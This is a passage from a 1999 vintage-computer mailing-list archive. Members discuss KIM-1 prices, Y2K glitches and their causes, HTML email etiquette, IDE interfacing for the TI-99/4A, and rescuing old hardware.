didn't have time to play with it). I know next to nothing about it and had no time to play with it, but I assume it's an 8048 SBC with hex keypad, 7-seg LEDs, PROM programmer, etc. from around 1977. I don't suppose anybody has docs or specs for this, eh? Did I mention RARE? -- Doug From dastar at ncal.verio.com Tue Jan 5 18:59:39 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:49 2005 Subject: Kim-1 Computer In-Reply-To: <01be38fb$02719ee0$c4c962cf@devlaptop> Message-ID: On Tue, 5 Jan 1999, Mike wrote: > I think it's a bit niave to think that a KIM-1 is only going to bring > 150-250 $ these days on eBay.... My guess would be over 500. Sorry, these ridiculous prices are passing me by faster than I can keep up. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From gareth.knight2 at which.net Tue Jan 5 18:52:20 1999 From: gareth.knight2 at which.net (Gareth Knight) Date: Sun Feb 27 18:39:49 2005 Subject: Win95 in running very slowly shocker! Message-ID: <01a201be390f$e1415340$6402010a@gaz> Russ Blakeman >As for the SX to DX thing, have you added a math coprocessor? I know when I >added a 487 to my wife's P70 portable that we chaged the 386DX-20 out with a >"Make It 486" processor it went from showing 486SX in MSD to a 486DX, probably >due to the presence of the FPU. No, the only change I've made is to add an IDE 2x CD-ROM drive and install a copy of Win95. -- Gareth Knight Amiga Interactive Guide | ICQ No. 24185856 http://welcome.to/aig | "Shine on your star" From dastar at ncal.verio.com Tue Jan 5 19:11:21 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:49 2005 Subject: number games (was Re: Kim-1 Computer In-Reply-To: Message-ID: On Tue, 5 Jan 1999, Doug Yowza wrote: > On Tue, 5 Jan 1999, Tony Duell wrote: > > > Serial numbers were not always assigned sequentially > > Neither are model numbers. Which came first, the Toshiba 1000 or the > 1100? How about the Powerbook 100 or the 170? The IBM 5150 or the 5140? The 1100 came first (reference: Bruce Faust, VCF 2.0.2). The 5150 is obviously first since the 5140 was the PC Convertible circa 1986. > But I prefer it that way. It means that I might be able to pay less for a > "first".... Good thinking! Don't let it get out though. Shhh! Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From ard at p850ug1.demon.co.uk Tue Jan 5 18:52:02 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:49 2005 Subject: number games (was Re: Kim-1 Computer In-Reply-To: from "Doug Yowza" at Jan 5, 99 06:19:02 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 534 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990106/7443f65f/attachment.ksh From ard at p850ug1.demon.co.uk Tue Jan 5 18:58:26 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:49 2005 Subject: y2k stuff In-Reply-To: <708f9f03.3692ac81@aol.com> from "KFergason@aol.com" at Jan 5, 99 07:21:21 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1234 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990106/7b7df3a2/attachment.ksh From Watzman at ibm.net Sat Jan 2 10:20:43 1999 From: Watzman at ibm.net (Barry A. Watzman) Date: Sun Feb 27 18:39:49 2005 Subject: Quantel Line Printer Message-ID: <000201be3919$e75c3ce0$77bb6420@barrysp2> This is just a guess, but the Quantel line printer made by Teletype is probably a Teletype Model 40 from your description. I don't have any docs on it, but they should be readily available. Barry Watzman -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990102/79c3317f/attachment.html From wpe101 at banet.net Tue Jan 5 20:09:57 1999 From: wpe101 at banet.net (Will Emerson) Date: Sun Feb 27 18:39:49 2005 Subject: [Fwd: fwd: Y2K Computer Glitches Hit Sweden Taxis, Gas Pumps] Message-ID: <3692C5F5.4DC7E2EE@banet.net> -------- Original Message -------- Subject: fwd: Y2K Computer Glitches Hit Sweden Taxis, Gas Pumps Date: Tue, 5 Jan 1999 15:33:30 EST From: "Willis Emerson" Reply-To: To: ---------- Original Text ---------- From: AMSSCSIM@IMD@natick, on 1/5/99 2:40 PM: To: *@* Cc: AMSSCSIM@IMD@natick ---------- Original Text ---------- From: AMSSCSIM@IMD@natick, on 1/5/99 2:27 PM: To: AMSSCSIM@IMD@natick Y2K computer glitches hit Sweden taxis, gas pumps. STOCKHOLM, Sweden - For a while, some taxi passengers got unexpectedly cheap rides and some motorists had trouble buying gas due to computer glitches that accompanied the new year in Sweden. Stockholm's largest taxi service recently changed the way it calculates fares. But when 1998 became 1999, some of its computers didn't adjust properly and passengers were charged normal rates, instead of the higher holiday and late-hour fares. "The problem has been patched, and now we'll get to the root of the problem," Taxi Stockholm managing director Anders Malmqvist said in a telephone interview Saturday. Customers of Statoil, Norway's state oil company that operates about 600 gas stations in Sweden, couldn't use their credit cards Friday because pumps were programmed to accept them only through December 1998. "There was nothing wrong in the data technology, but rather it was we who programmed badly," Statoil spokesman Henrik Siden told the regional newspaper Oestgoeta Correspondenten. The day before, police at Stockholm's Arlanda international airport were temporarily unable to issue provisional travel documents to four travelers who had misplaced their passports, the Swedish news agency TT reported. When they attempted to input the date, some computers would not accept "99" and transmitted in response: "end of run" or "end of file." From allisonp at world.std.com Tue Jan 5 20:15:37 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:39:49 2005 Subject: Intel Prompt 48 Message-ID: <199901060215.AA11090@world.std.com> The blue color of Zenith and some other monochrome LCD displays is caused by the backlight. These displays use an electroluminescent panel behind the entire LCD screen, and it gives off a blue light. Most current LCD displays use flourescent tubes either behind or on the sides of the displays, with a variety of optical diffusers. Flourescent tubes, of course, give off white light. Barry Watzman -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990105/8cbc649f/attachment.html From H.Davies at latrobe.edu.au Tue Jan 5 20:49:00 1999 From: H.Davies at latrobe.edu.au (Huw Davies) Date: Sun Feb 27 18:39:49 2005 Subject: Looking for PolaPulse or equivalent In-Reply-To: <199812311532.AA01138@world.std.com> Message-ID: <4.1.19990106134647.00a40b00@lucifer.its.latrobe.edu.au> At 10:32 AM 31-12-98 -0500, Megan wrote: >Thanks, I got the pointer for polaroid... I'm going to follow >up on it. As for a vt100 clone -- 1 line of 16 characters? >not much of a terminal... but I guess enough if there isn' >t much data which has to go back and forth... I couldn't find a picture of it on Megan's web page, but I'm fairly sure that this was the hand-held "terminal" provided by Digital to FS personnel to allow them to use the diagnostic serial port on RA disks. I remember our FS guy having one, we used it for about 10 minutes before I connected our GIGI up - so much easier to use... (Sorry about the delay in replying but I've had the annual 10 days away from computers/networks/IT stuff - for the first time since I can remember doing this, I didn't miss them at all. Time for a new career perhaps?) Huw Davies | e-mail: Huw.Davies@latrobe.edu.au Information Technology Services | Phone: +61 3 9479 1550 Fax: +61 3 9479 1999 La Trobe University | "If God had wanted soccer played in the Melbourne Australia 3083 | air, the sky would be painted green" From H.Davies at latrobe.edu.au Tue Jan 5 20:55:28 1999 From: H.Davies at latrobe.edu.au (Huw Davies) Date: Sun Feb 27 18:39:49 2005 Subject: That does not compute In-Reply-To: References: <000901be352f$a13e43e0$a4f438cb@a.davie> Message-ID: <4.1.19990106135432.009756b0@lucifer.its.latrobe.edu.au> At 07:21 PM 31-12-98 -0800, Sam Ismail wrote: >Well, certainly the '@' symbol was entirely useless until internet e-mail. >And how many people actually use function keys any more in the age of the >GUI and mouse? Apart from those Digital DCL users who have been using it to invoke command procedures for about 25 years and TOPS-10 users who used it for I/O redirection for even longer.... Huw Davies | e-mail: Huw.Davies@latrobe.edu.au Information Technology Services | Phone: +61 3 9479 1550 Fax: +61 3 9479 1999 La Trobe University | "If God had wanted soccer played in the Melbourne Australia 3083 | air, the sky would be painted green" From Watzman at ibm.net Tue Jan 5 21:05:39 1999 From: Watzman at ibm.net (Barry A. Watzman) Date: Sun Feb 27 18:39:49 2005 Subject: Y2K Message-ID: <000701be3921$721782c0$77bb6420@barrysp2> I'm heavily involved with Y2K issues, and there are going to be plenty of real problems, and not all of them will be on January 1. There was a story in todays Wall St. Journal about an aluminum smelter that shut down because it couldn't handle the leap year in 1996 ! It did half a million dollars worth of damage. We have discovered access control systems (doors with electronic locks and swipe cards or keypads to gain entry) that have y2K problems -- they know the date, because they know which shifts and days of the week people work, and only allow access while a person is actually "on duty". When they get confused or detect any problem, they go to an "all-open" state, to prevent the possibility of locking someone up in a fire situation. Which is fine, but some of these systems are installed in hospitals (including mental hospitals) and prisons. We thought our printers didn't care about dates, but low and behold, we found a bank passbook printer that DID care about dates, and it malfunctioned when fed a y2k date. Admittedly only a cosmetic problem, but a problem none the less. The FDA has found seven medical devices that have malfunctioned in 1999 (already). Seems that "99" in the year field had a special meaning (we've found this in a LOT of systems). At first these looked like cosmetic problems only, the date is not functionally used, but is printed on a printer. Until it became clear that such printouts could cause a physician to conclude that a patient's blood pressure was going up instead of down. Or that his EKG was getting better instead of worse. According to a recent SEC filing by AT&T, the company acknowledges that they cannot guarantee that they will complete their y2k work in time, and they will not guarantee that some of the possibly unfixed issues will not cause service interruptions, possibly extended. The truth is, I can't tell you if any of the "nightmare" scenarios will happen or not, and y2k might indeed seem to have been hype if none of them do. Further, anyone who makes a prediction is doing nothing but guessing. But be aware that over half a TRILLION dollars will have been spent on this, so I can assure you that whatever happens on 1/1/99 (or later, in particular at the end of February of 1999), IT WAS NOT HYPE. Barry Watzman PS - and while we are spending the money to at least attempt to address it, bear in mind that Europe is WAY behind, and Asia Pacific has been too busy trying to survive to have even looked ahead to recognize that the end of the century is coming. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990105/d11f1c64/attachment.html From Watzman at ibm.net Tue Jan 5 21:12:04 1999 From: Watzman at ibm.net (Barry A. Watzman) Date: Sun Feb 27 18:39:49 2005 Subject: Y2K Message-ID: <000701be3922$56ddcb80$77bb6420@barrysp2> I'm sick of hearing that this proble occured because people were trying to save bytes. I was doing COBOL programming in the 70's, I probably wrote code that would have y2k problems, and saving bytes had nothing to do with it. The problem arises simply because people (programmers included) normally write dates in the format "mm/dd/yy", as in 12/31/99. Not just in computer programs, but in normal, day-to-day lives. It's that simple, and that is all that there is to it. Barry Watzman -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990105/a2a1013d/attachment.html From dhansen at zebra.net Tue Jan 5 21:36:50 1999 From: dhansen at zebra.net (turtle) Date: Sun Feb 27 18:39:49 2005 Subject: y2k stuff References: <199901050448.AA03155@world.std.com> Message-ID: <3692DA52.E53DF37@zebra.net> Ok, so it sounds like the general consensus on this list doesn't perceive any possible problems from systems that perform automatic disconnection/refusal of services due to systems that are based on time/date ranges? Here are some examples of situations that are believed to be possible... utilities (power/water/telephone): Say a disconnect period is 2 consecutive months of non-payment. A customer pays his/her bill regularly but if the date isn't interpreted properly the next time the system does a check for 'disconnect candidates' it will not be able to find a single payment from a single customer within a 2 consecutive months time period prior to 01/01/00 (1900). banks: Keeping in mind that banks routinely deactivate and -absorb- every account that is over x years idle (commonly 2 yrs. but every one I have come across has some variant of this), see how the above method applies to this situation. vendors of perishables: Shipments of perishable items (food/medicine) are refused by automated systems that read the dates on the items as expired. payroll: Employee doesn't have any hours during the 'new' pay period so no paycheck is issued. Also paychecks are issued with wrong dates and such. Clients aren't billed if there isn't anything in the billing period. etc... security access: I'll use my company as an example. I have full access to the office building between the hours of 7am - 7pm M-F by way of a keycard. If the wrong year is being calculated then M-F can easily be Sat-Wed., etc... credit cards: Accounts are deactived or non-existent. I'm by no means an expert on any of these areas so I welcome responses from anyone with facts on how these possible situations (and others) are in error. Anyone who replies with statements like I've seen repeatedly on this subject in the form of "you're wrong because I assume..." and/or "...I expect...", you can flood this list with them if you wish but I would prefer that you not. thanks, david From adavie at mad.scientist.com Tue Jan 5 21:42:19 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:39:49 2005 Subject: y2k stuff Message-ID: <003601be3926$94e18260$1901a8c0@titanic.bde.com.au> I, for one, would like to see the discussion swing back to Classic Computer, not Y2K problems. A -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990106/ba6f74c9/attachment.html From mbg at world.std.com Tue Jan 5 21:44:20 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:39:49 2005 Subject: Looking for PolaPulse or equivalent Message-ID: <199901060344.AA15561@world.std.com> >I couldn't find a picture of it on Megan's web page, but I'm fairly sure >that this was the hand-held "terminal" provided by Digital to FS >personnel to allow them to use the diagnostic serial port on RA disks. I >remember our FS guy having one, we used it for about 10 minutes before I >connected our GIGI up - so much easier to use... There's no picture yet because there aren't any pictures yet for anything... I've taken some (including the IXO terminal) but have not yet 1) developed them, 2) scanned them in, and 3) included the image code in the document. Maybe I should put this as one of my listed projects... I've been busy making room for my newest haul... the pdp-8s. Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From healyzh at aracnet.com Tue Jan 5 21:49:25 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:39:49 2005 Subject: Y2K In-Reply-To: <000701be3921$721782c0$77bb6420@barrysp2> Message-ID: >PS - and while we are spending the money to at least attempt to address >it, bear in mind that Europe is WAY behind, and Asia Pacific has been too >busy trying to survive to have even looked ahead to recognize that the end >of the century is coming. Personally the country I'm worried about is Russia. Thier military computers are so hopelessly outdated, they've just got to have some serious Y2k problems. And PLEASE turn off the Microtrash HTML nonsense, it's rude to send HTML to a mailing list. Rememeber there are a lot of people that don't read your messages because they are being sent in HTML. A lot/most people, especially on this mailing list, are using software that doesn't cope with HTML. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From allisonp at world.std.com Tue Jan 5 21:45:34 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:39:49 2005 Subject: y2k stuff Message-ID: <199901060345.AA16795@world.std.com> < 8bit for the PEB. One could do a kluge and not use the high order bits as they are data only. However that means the default 512byte sector size would only hold 256bytes of data (with large drives dirt cheap this is not so bad!). I personally don't like that but it'd work. The interface is basically a series of registers that set up the transfer with data like command, head, sector, cylinder and number of sectors (transfer length). The interface does not have to keep up with the physical media as even the smallest ones have a 32k (up to 512k) cache ram on board so that if can feed data fast (or slow) as the host desires it. Most of the 60-100meg and later drives (quantum is known for it) have a LRU cache so that the drive can try to anticipate the next likely sector to transfer to avoid rotational latentcy. While the drives are hyped and speced for fast transfer rateds to their host system there is no requirement to use that speed as there is no lower limit. Because of the cache a polled interface is easy to do and there are no requirements for critical fast loops to avoid loosing data. I happen to use IDE with FreeBSD(on PC hardware) and also a Z80 CP/m system. Both are about as unDOS as they can get. DSR level issues are things like are there logical limits to how big a TI99/4a file system can be. Also how does one write a DSR that uses any one of several hundred differnt IDE drives of differnt sizes and configurations? IE: 20mb as 4 heads 615 cylinders of 17 sectors or 306 cylinders and 8 heads? PCs (CP/M and others) have the idea of a bios that translates differnt physical devices to look like one logical interface. Sadly most DSRs were not written that way. Having a differnt DSR for a WD 240mb and a shugart 340mb would be a real problem. Also the older drives are dumber and cannot tell the system what they are (configuration), the later (mostly over 200mb) drives added that functionality. So there would also have to be configuration tools and some amount of NVram(EEPROM) on the board to allow for whatever drive was available from the older 40mb up to the current 19gb drives. I'd point out that the drives in the 80-400mb range seem to be more inconsistant than the larger ones. Also drives over 512mb have additional fuctionality so that they can be addressed as block instead of cylinder, head, sector. So the driver (DSR) has to be a bit smart so that it know what class of IDE drive and what capabilities are available. That's a real tall order! So that is why I say the physical interface is trivial compared to the DSR. It can be done as many of the same problem occur with SCSI but the DSR will have a lot of differences at the lower levels of code. Judging from the SCSI dificulties reported here that wasn't easy either. Allison From mbg at world.std.com Tue Jan 5 21:54:36 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:39:49 2005 Subject: Y2K Message-ID: <199901060354.AA23009@world.std.com> >And PLEASE turn off the Microtrash HTML nonsense, it's rude to send HTML >to a mailing list. Rememeber there are a lot of people that don't read >your messages because they are being sent in HTML. A lot/most people, >especially on this mailing list, are using software that doesn't cope >with HTML. Hear-Hear... Keep in mind that this is 'classiccmp' -- we're probably also using classic software... (and that includes unix, due to its age) :-) Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From netcafe at pirie.mtx.net.au Tue Jan 5 22:25:18 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:39:49 2005 Subject: Y2K Message-ID: <01be392c$910c4fc0$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Barry A. Watzman To: Discussion re-collecting of classic computers Date: Wednesday, 6 January 1999 14:42 Subject: Y2K >The problem arises simply because people (programmers included) normally write dates in the format >"mm/dd/yy", as in 12/31/99. Not just in computer programs, but in normal, day-to-day lives. It's that simple, >and that is all that there is to it. Only if you live in America. Much of the world (like here, or the UK, New Zealand etc) use dd/mm/yy in their "normal, day-to-day lives." I have personally had numerous headaches with software written (mostly) in the USA where this unwarranted assumption on date useage is hard coded into the damn software. Accounting packages are prime offenders. So is a well known DOS based Fax program. This usually results in users moving to a package that does not make silly assumptions about date useage outside America. I know there are 250+ million of you, but we're not the 53rd state. (Yet anyway) We "ain't gonna" change the way WE do things here. It would make our lives a lot easier if such things were an option, some authors get it right, and allow it to be a config option, sadly, lots don't. Oh, and our financial year is from 1 July to 30 June, not 1 January to 31 December. Had that trouble as well. Grrrr. Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From jpl15 at netcom.com Tue Jan 5 22:49:59 1999 From: jpl15 at netcom.com (John Lawson) Date: Sun Feb 27 18:39:49 2005 Subject: Y2K In-Reply-To: Message-ID: On Tue, 5 Jan 1999, Zane H. Healy wrote: > > And PLEASE turn off the Microtrash HTML nonsense, it's rude to send HTML to > a mailing list. Rememeber there are a lot of people that don't read your > messages because they are being sent in HTML. A lot/most people, > especially on this mailing list, are using software that doesn't cope with > HTML. > This comes up just as I was going to post my own (off-topic) rant re:HTML tags in mailing lists and newsgroups: I M H O: It is clue-impaired and rude to do so, unless inadvertently/occasionally. Many of Us subscribe to more than one maillist... I personally average 200-400 messages per *day*, and HTML goes to /dev/null unread; a damn shame if you had something to say to me that might have been of interest to either of us. Yes I have a PPP account, yes I have my own domain/webpages, and ISDN access.... nonetheless all my mail is routed to this account, a Unix shell, ASCII-based, VT-100, gimme that Ol' Time Religion account. I have resisted the urge to send the text w/tags back to the individuals privately.. just to give them an idea of what a *drag* it is. There's enough of that childishness going around, anyway. Also for those individual's consideration is the factoid that in some locations, persons pay *by the second* for their Inet access, and I imagine they're more pissed off than most. LAST BIT: ***Seventy-Two*** (72) columns!!!! Please!! I hate trying to read material that looks like a siesmo-log and is impossible to scan without getting tennis-match type eye strain, or something. You get the picture. Okay... rant off.... :) ObClassiccmp: This saturday I am going to rescue an entire Prime system, CPU, disks, printer(s) two Kennedy tape drives, and 50 (!) boxes of 1/2" tape. This system was central to a large division of the California State Gummint, and I am taking my portable industrial strength de-gausser with me.... a condition imposed by the rescuees. I can keep the OS and utils and such, but the HDs have been previously formatted and the backup tapes must be wiped or left there to be destroyed. WooHoo! Cheers John From dastar at ncal.verio.com Tue Jan 5 22:52:49 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:49 2005 Subject: y2k stuff In-Reply-To: Message-ID: On Wed, 6 Jan 1999, Tony Duell wrote: > The story on cosmic rays affecting memory is well-known. It was proposed > as the reason why one of the early 4Kbit (I think) chips had a very high > error rate. It was later found (I think) that the real reason was alpha > particles from the radioactive decay of something in the (ceramic?) > package of the chip. Gordon Moore (founder of Intel) related a story at a dinner function I attended last November about how Intel was trying to figure out a random fault in one of their chips (I believe it was a RAM). Finally, one engineer suggested cosmic rays, so they enclosed a system inside an igloo of lead bricks and the problem never occured during the time the system was inside the igloo (several weeks). Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From dastar at ncal.verio.com Tue Jan 5 23:02:53 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:49 2005 Subject: y2k stuff In-Reply-To: <003601be3926$94e18260$1901a8c0@titanic.bde.com.au> Message-ID: On Wed, 6 Jan 1999, Andrew Davie wrote: > I, for one, would like to see the discussion swing back to Classic > Computer, not Y2K problems. Unless it applies specifically to a classic computer, I second that notion. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From H.Davies at latrobe.edu.au Tue Jan 5 23:02:58 1999 From: H.Davies at latrobe.edu.au (Huw Davies) Date: Sun Feb 27 18:39:49 2005 Subject: Y2K stuff In-Reply-To: References: <199901040632.BAA21143@hiway1.exit109.com> Message-ID: <4.1.19990106160031.00996c80@lucifer.its.latrobe.edu.au> At 11:00 PM 03-01-99 -0800, Don Maslin wrote: >By the way, when my Kaypro 10 crosses over the mark it will then report >the date is 01 JAN 99. Well the Epson PX-8 (aka Geneva) manuals specifically state that no dates after 1999 are acceptable. I guess mine will just have to live in the '80s :-) Talking about the PX-8 can anyone confirm that the batteries in the "wedge" are just plain old ni-cads? The ones that were in mine were covered in "snow" and I've removed them to avoid any possibility of damage. As a result, I don't have a working A: Huw Davies | e-mail: Huw.Davies@latrobe.edu.au Information Technology Services | Phone: +61 3 9479 1550 Fax: +61 3 9479 1999 La Trobe University | "If God had wanted soccer played in the Melbourne Australia 3083 | air, the sky would be painted green" From roblwill at usaor.net Wed Jan 6 02:00:41 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:39:49 2005 Subject: External CD-ROM Needed Message-ID: <01be394a$a7800260$968ea6d1@the-general> Hello everyone. My school has an old PS/2 Model 70 (386-16, 4mb RAM). They want to install some software on it which is on CD-ROM. Being a PS/2, there is no room for an internal CD-ROM, so I told them I'd look into get an old external for them. What I'm looking for is either a parallel interface drive, or a drive with an MCA controller card (there's one free slot). Being that the computer is a 386-16, speed is not of importance, and even a single-speed would be sufficient. A parallel interface one would probably be best, since they could use it on a few of their other non-PS/2 systems (286's, 386's) that they don't want to spend money to put an internal drive in. I'm not looking for anything very expensive, since I'll be paying for it, then donating it to the school. ThanX in AdvancE, -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 PS>> Not having to do with the school, but does anyone know where I would be able to find a hinge for the display of a PS/2 luggable without going directly through IBM? -thanx. From dastar at ncal.verio.com Tue Jan 5 23:08:56 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:49 2005 Subject: Y2K In-Reply-To: <01be392c$910c4fc0$f17d38cb@netcafe.pirie.mtx.net.au> Message-ID: On Wed, 6 Jan 1999, Computer Room Internet Cafe wrote: > about date useage outside America. I know there are 250+ million of > you, but we're not the 53rd state. (Yet anyway) We "ain't gonna" That's interesting. I must've missed the news about the 51st and 52nd states being added to the Union :) Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From healyzh at aracnet.com Tue Jan 5 23:43:23 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:39:49 2005 Subject: Y2K In-Reply-To: References: Message-ID: John Lawson wrote: > Also for those individual's consideration is the factoid that in >some locations, persons pay *by the second* for their Inet access, >and I imagine they're more pissed off than most. Good point, I forget about this when I go on one of my HTML rants, I only think of it in one of my Binary Attachments rants. > LAST BIT: ***Seventy-Two*** (72) columns!!!! Please!! I hate trying >to >read material that looks like a siesmo-log >and >is impossible to scan without getting tennis-match type >eye >strain, or something. You get the picture. Something tells me I'm one of the people guilty of this one. Although I honestly can't say for sure. While I read a lot of my e-mail with 'elm' (both work and ISP account), when I'm at home I use 'Eudora Pro 4' on a Mac, and there doesn't seem to be a definite way to set this. However, I think I _might_ have found a setting that will effect it, either that or it will drive me crazy when I'm trying to read messages and I'll have to go back to the way I've had it set, since it looks like it's the setting for the size of the opening window, and not the number of columns it sends. >ObClassiccmp: This saturday I am going to rescue an entire Prime >system, CPU, disks, printer(s) two Kennedy tape drives, and 50 (!) >boxes of 1/2" tape. This system was central to a large division of I hope with that much stuff there is also documentation. >the California State Gummint, and I am taking my portable industrial >strength de-gausser with me.... a condition imposed by the rescuees. >I can keep the OS and utils and such, but the HDs have been >previously formatted and the backup tapes must be wiped or left there >to be destroyed. WooHoo! I'm impressed, that's amazingly understanding of them! Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From H.Davies at latrobe.edu.au Wed Jan 6 00:07:30 1999 From: H.Davies at latrobe.edu.au (Huw Davies) Date: Sun Feb 27 18:39:49 2005 Subject: y2k stuff In-Reply-To: <199901050025.RAA14288@calico.litterbox.com> Message-ID: <4.1.19990106170204.00b354d0@lucifer.its.latrobe.edu.au> At 05:25 PM 04-01-99 -0700, Jim Strickland wrote: >What boggles the mind is that this is a problem at all. It seems hard to >believe (in retrospect) that people really did deliberately build software >with only 2 digit years. I know it saved a few bytes, and yes, I remember >when a byte of memory was a significant amount, but still. How did standard >programming practice come to be so short sighted as to assume that software >infrastructure would be thrown out and replaced on a regular basis? Well as someone who worked on a major software project (a Student Records System) in the early 1980s in which we made the very deliberate decision not to include the '19' in all our dates the reasoning was simple. We had a system (a VAX-11/780) which had 1.25Mb of main memory and two 60Mb disk drives (subsequently upgraded to an RA81 (450Mb) which I seem to recall cost something like $60K). Memory (both disk and RAM) was in short supply and the savings of two bytes per student record that involved dates (we had about 20K students on file and I guess each student had about 100 records with dates in them) was considered sufficiently significant to make that decision. In retrospect, with 2020 hindsight was this a good thing? Well, probably no, and I'm certainly glad that the system has been retired (although updating it wouldn't be that bad). To answer the obvious question as to why we didn't use VMS date/time internally, one of the project specifications was that we had to use readable data (ie letters and digits) for all files to allow easy migration (and debugging). Huw Davies | e-mail: Huw.Davies@latrobe.edu.au Information Technology Services | Phone: +61 3 9479 1550 Fax: +61 3 9479 1999 La Trobe University | "If God had wanted soccer played in the Melbourne Australia 3083 | air, the sky would be painted green" From marvin at rain.org Wed Jan 6 00:38:51 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:49 2005 Subject: ebay reminder References: <199901052304.PAA27655@geocities.com> Message-ID: <369304FB.5BD09C1E@rain.org> Just a reminder for anyone interested in copies of Stan Veit's History of the Personal Computer that they are still listed in a dutch auction at $3.00. The URL is: http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=51552826 I don't remember who posted it here earlier, but thanks! From H.Davies at latrobe.edu.au Wed Jan 6 00:47:00 1999 From: H.Davies at latrobe.edu.au (Huw Davies) Date: Sun Feb 27 18:39:49 2005 Subject: Looking for PolaPulse or equivalent In-Reply-To: <199901060344.AA15561@world.std.com> Message-ID: <4.1.19990106174612.00997430@lucifer.its.latrobe.edu.au> At 10:44 PM 05-01-99 -0500, Megan wrote: >There's no picture yet because there aren't any pictures yet for >anything... OK. I'll just have to go with my guess then :-) >I've been busy making room for my newest haul... the pdp-8s. Tell us -8 owners more.... Huw Davies | e-mail: Huw.Davies@latrobe.edu.au Information Technology Services | Phone: +61 3 9479 1550 Fax: +61 3 9479 1999 La Trobe University | "If God had wanted soccer played in the Melbourne Australia 3083 | air, the sky would be painted green" From H.Davies at latrobe.edu.au Wed Jan 6 00:53:28 1999 From: H.Davies at latrobe.edu.au (Huw Davies) Date: Sun Feb 27 18:39:49 2005 Subject: Y2K In-Reply-To: References: <01be392c$910c4fc0$f17d38cb@netcafe.pirie.mtx.net.au> Message-ID: <4.1.19990106175246.00b392d0@lucifer.its.latrobe.edu.au> At 09:08 PM 05-01-99 -0800, Sam Ismail wrote: >That's interesting. I must've missed the news about the 51st and 52nd >states being added to the Union :) A common mistake made by a number of us non-US assimilated citizens :-) Confusion with the number of weeks in the year me thinks.... Huw Davies | e-mail: 